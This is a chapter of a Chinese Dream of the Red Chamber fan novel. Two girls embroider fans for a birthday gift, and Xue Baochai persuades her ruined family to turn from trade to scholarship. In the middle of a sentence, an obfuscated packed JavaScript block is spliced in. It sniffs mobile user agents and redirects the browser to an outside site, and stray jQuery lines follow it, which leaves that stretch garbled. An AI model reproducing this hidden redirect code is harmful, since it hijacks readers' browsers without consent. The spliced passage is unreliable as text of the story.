28. 梦想

作品:《[红楼]才女生存手册

    燕衔枝和平鹤认识的时间很久,久到她都已经没印象了。


    不过这也不能怪她,因为平鹤比她大四岁,今年十七,她和平鹤认识的时候才刚出生,但平鹤已经能记事了。


    提起这件事,燕衔枝便忍不住叹气。


    能记事不算什么稀罕,但如果这孩子还过目不忘呢?


    她也不知道,当年还是个婴儿的自己到底干出了什么惊天动地的大事,为什么让平鹤印象如此深刻。


    说来也怪,燕衔枝连自己穿书前的记忆都印象深刻,但偏偏是从穿书到三岁这段时间的记忆模模糊糊。


    换言之,她是在三岁才意识到自己是个穿书者的。


    至于三岁之前究竟是个什么状态,燕衔枝自己也说不准。


    偏偏平鹤比她大四岁,而平佩纶又在燕衔枝出生之后不到一年就调任京城了,燕衔枝连当面问问平鹤的机会都没有。


    总而言之,等燕衔枝有记忆起,她就觉得平鹤似乎对自己耿耿于怀,每逢平伯伯捎信来,必有一封平鹤单独给她的。


    打开来看呢,又没有什么特别的,除了自己背过了什么书,就是自己又得了谁的指点、谁的夸耀。


    燕衔枝曾经以为平鹤是来炫耀的,想想又觉得说不通。


    跟她一个三岁小丫头炫耀个什么劲儿啊?


    总而言之,这是一件未解之谜。


    燕衔枝只能将之归类于平鹤“七岁八岁讨狗嫌”的表现之一。


    到现在,燕衔枝十三岁,平鹤十七了,这种疑似炫耀的行为还是没停过。


    想不明白索性就不想了,燕衔枝将注意力放在了寿礼的准备上。


    前年送了一副书法琉璃屏风,去年送了一副绣品,今年不知送些什么好。


    燕衔枝想不出送什么,索性同黛玉商议一番,看看对方有什么想法。


    黛玉细细想了一会,有了主意:


    “昨儿去给老太太道喜之时,见那儿摆着一副嵌大红纱透绣花卉并草字诗词璎珞的十六扇紫檀慧纹屏风①,真是极好,风雅不落俗套。”


    “我想姐姐书画既佳,绣工也好,何不也仿着慧纹,以书画入绣品?”


    燕衔枝一想,果然不错,只是有些踌躇:“话虽如此,离平伯母寿宴只有数日了,这能来得及吗?”


    黛玉笑道:“来得及有来得及的法子,来不及有来不及的法子,姐姐不挑那大件儿的绣就是了,如今马上入夏,热气一日胜过一日,正是用扇子的时候,姐姐何妨准备一柄绣扇,又精致又应景,又能用得着,比那些白放着的东西强到不知哪里。”


    燕衔枝想想也是,笑道:“真正是个好主意,亏得黛玉儿想得出,我都不知该如何谢你了。”


    黛玉抿唇一笑:“自家姐妹,说什么谢与不谢的,若都这么谢起来还了得呢!”


    一面又道:“姐姐若怕不凑手,不如我也来帮忙可好?我虽不才,这诗词、绣工上倒也还过得去。”


    燕衔枝顿时眼前一亮:“这自然好。”


    但转念一想,又摇摇头:“若这么着,平鹤又要挑挑拣拣,团扇本是小玩意儿,我还与人合力,显得好像要躲懒一般。”


    黛玉笑道:


    “这有什么,团扇原也不大,绣一柄也不比绣帕子多费神,难道叫我看着姐姐忙里忙外,自己做个闲人吗?”


    “既然如此,我与姐姐合力绣上两柄也好,姐姐题字,我来绣花;我题字的那一柄,姐姐来绣,省得忙人太忙,闲人又太闲。”


    两姊妹一言既合,便这么说定了,燕衔枝择了夏日有代表性的景物,决定拟一副清荷出水图,又自题了一首诗在旁侧,笔迹秀逸风流,叫人见之忘俗。


    黛玉则是画了几株绣球花,也依样拟了诗词,一笔簪花小楷工整婉约,落款则是以章草,秀媚而微带古拙,雅致非常。


    两姊妹于诗词一道上均有底蕴,皆是提笔而就,倒是这花草绘画必须细致,着实费了半日的工夫。


    草稿既完,接下来便是刺绣了,这一步必须耐心,不是一时半会儿可以完工的,好在两人虽长于吟咏,这女工一道上也不算生疏,寻了清净地界各自努力。


    //


    王家。


    短短数日,被关在牢里的薛蟠就瘦了一大圈,鼻青脸肿地抱着薛姨妈哭个不住。


    “该死的瘟官也忒狠了,将我同一干重刑犯关在一处,那起子造孽的东西三五不时便要找茬,家里的银子又使不进来,我在里头天天的挨欺负,吃的都是猪食!”


    薛姨妈如今身无长物,若非史夫人出面阻拦,连自己身上的好衣裳只怕都留不住,如今还靠着王家接济才能存身,这会子也忍不住呜呜咽咽地哭起来。


    “孽障!早叫你改邪归正,你只是不听,一味放肆,如今把你老子挣揣半生的基业都赔进去了,叫我将来到地下怎么同他交代!”


    “你是薛家家主,累世的皇商,寻常人谁有你这般好福气?你偏就不知道惜福,如今那七房岂肯同你善罢甘休,必是要上京逼你交出家主之位了!”


    史夫人懒怠看薛蟠这孽障,压根没过来,薛家的下人也都被抄没入官,近身伺候的都是后拨来的,薛宝钗早早地把她们都打发了出去,如今屋子里只有薛姨妈、薛蟠和薛宝钗三人。


    见母亲和哥哥只知抱头痛哭,薛宝钗皱起眉头,扯了扯薛姨妈的袖子,又推薛蟠。


    “哥哥也该拿出点主心骨来,怎么一味只知道哭?就从日哭到夜,夜哭到明,能把皇商招牌哭回来?”


    薛蟠把脸一抹,眼神直愣愣地看过来:“那依你该如何?”


    薛宝钗将帕子递给薛蟠,微微一笑。


    “那七房人来了倒好,我正怕他们不来呢!”


    “薛家如今没了皇商招牌,若想顺顺当当地做生意,不倚仗贵妃娘娘,还能指望哪一个呢?”


    “哥哥如今是贵妃娘娘的表弟了,难道还虚他们不成,要我说,倒应该叫他们每年拿出些银子分红来孝敬哥哥和母亲才是。”


    薛姨妈和薛蟠对视一眼,眼睛双双一亮。


    薛宝钗微笑道:“母亲也不用说什么,等七房的人到了之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132085|195248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后,挑个时间请姨母和舅母过来坐坐,这些人自然知道厉害的。”


    “再者,我心里有件事也惦记许久了。”


    薛宝钗说到这里,目光落在薛蟠身上。


    “这些日子,我总忘不了那位燕家姑娘说的一番话。”


    薛蟠不听则已,一听顿时怒气上涌:“你还提她做什么?我恨不得活撕了那小贱人!”


    薛宝钗蹙眉,示意薛蟠安静下来:“当日和她在老太太那一番口角,虽说彼此红了脸,可我闲下来细想想,她有一句话倒说得很是。”


    “前朝文章名家,有王、唐、瞿、薛四家,这里面的王公不就是外曾祖,薛公不就是祖父他老人家么?”


    “咱们薛家原也是书香门第,祖祖辈辈也是识文断字的,只因入了商贾一流,朝廷不许咱们科考,这才一代一代往低处走了。”


    薛姨妈听得心惊,忍不住问:“我的儿,你莫非是说……”


    薛宝钗微微一笑:


    “如今朝廷抄了咱们的家,褫夺了皇商名号,可我留神听着,并没有说永不叙用之类的字样。”


    “也就是说,哥哥正好借这个机会脱了商贾身份,回头咱们暂借贵妃名号,从族中得了银子,便置办几亩好地,让哥哥读书吧。”


    “大考之后便是大比,咱们可以求求姨母或是舅母,给哥哥捐个监生在身上,好歹往科场里走一遭,就是不中,到底也做出个样子来给别人看呢。”


    “有了这层身份,哥哥往后议亲也容易,从前咱们只能与商贾之家来往,如今倒可以求娶个书香门第的女儿了,只要人好,贫寒些也不妨事,我先前在老太太那,见了东府里小蓉大奶奶一面,真是天仙似的人品,听说父亲是位翰林,穷得不得了呢。”


    “哥哥不敢很比东府那位蓉哥儿,可京里头也不缺穷官,倒是这个清名要紧,再者我留神打量着,荣府里那几位姑娘也不都是爹疼娘爱的,二姑娘就是大老爷庶出的女儿。”


    “就是哥哥中不了,其实也不妨,咱们家原不指着这个进身,只要养出来的子侄争气,将来也是一样的,哥哥哪怕做了一世皇商,也比不得舅舅一根指头啊!”


    薛姨妈听得心潮澎湃,不住地拿帕子擦着眼泪,就连薛蟠都满心豪情:


    “妹妹一席话说得真好,把我的心都说热了,往后我一定争气,将来考中状元,让母亲跟妹妹都当上诰命!”


    薛宝钗面上微笑,却只在心里叹气。


    她这一席话只拣好的说,不过是希望母亲和兄长振作罢了。


    薛蟠年纪已大,天分又浅,斗大的字不认识一箩筐,又从小被母亲溺爱,吃不得半点苦,只怕考到老死也中不了功名,倒是把念头放在子侄辈上,还有些指望。


    薛姨妈倒是正在兴头上,拉着薛蟠笑道:“正巧你姨父家便有家学,束脩只要几十两银子,我还置办得起,明日就同你姨母说说,这事没有个不成的!”


    只要将来薛蟠争气,能考出个功名来,她也算有了着落了。


    这么一想,抄家也未必是件坏事呢。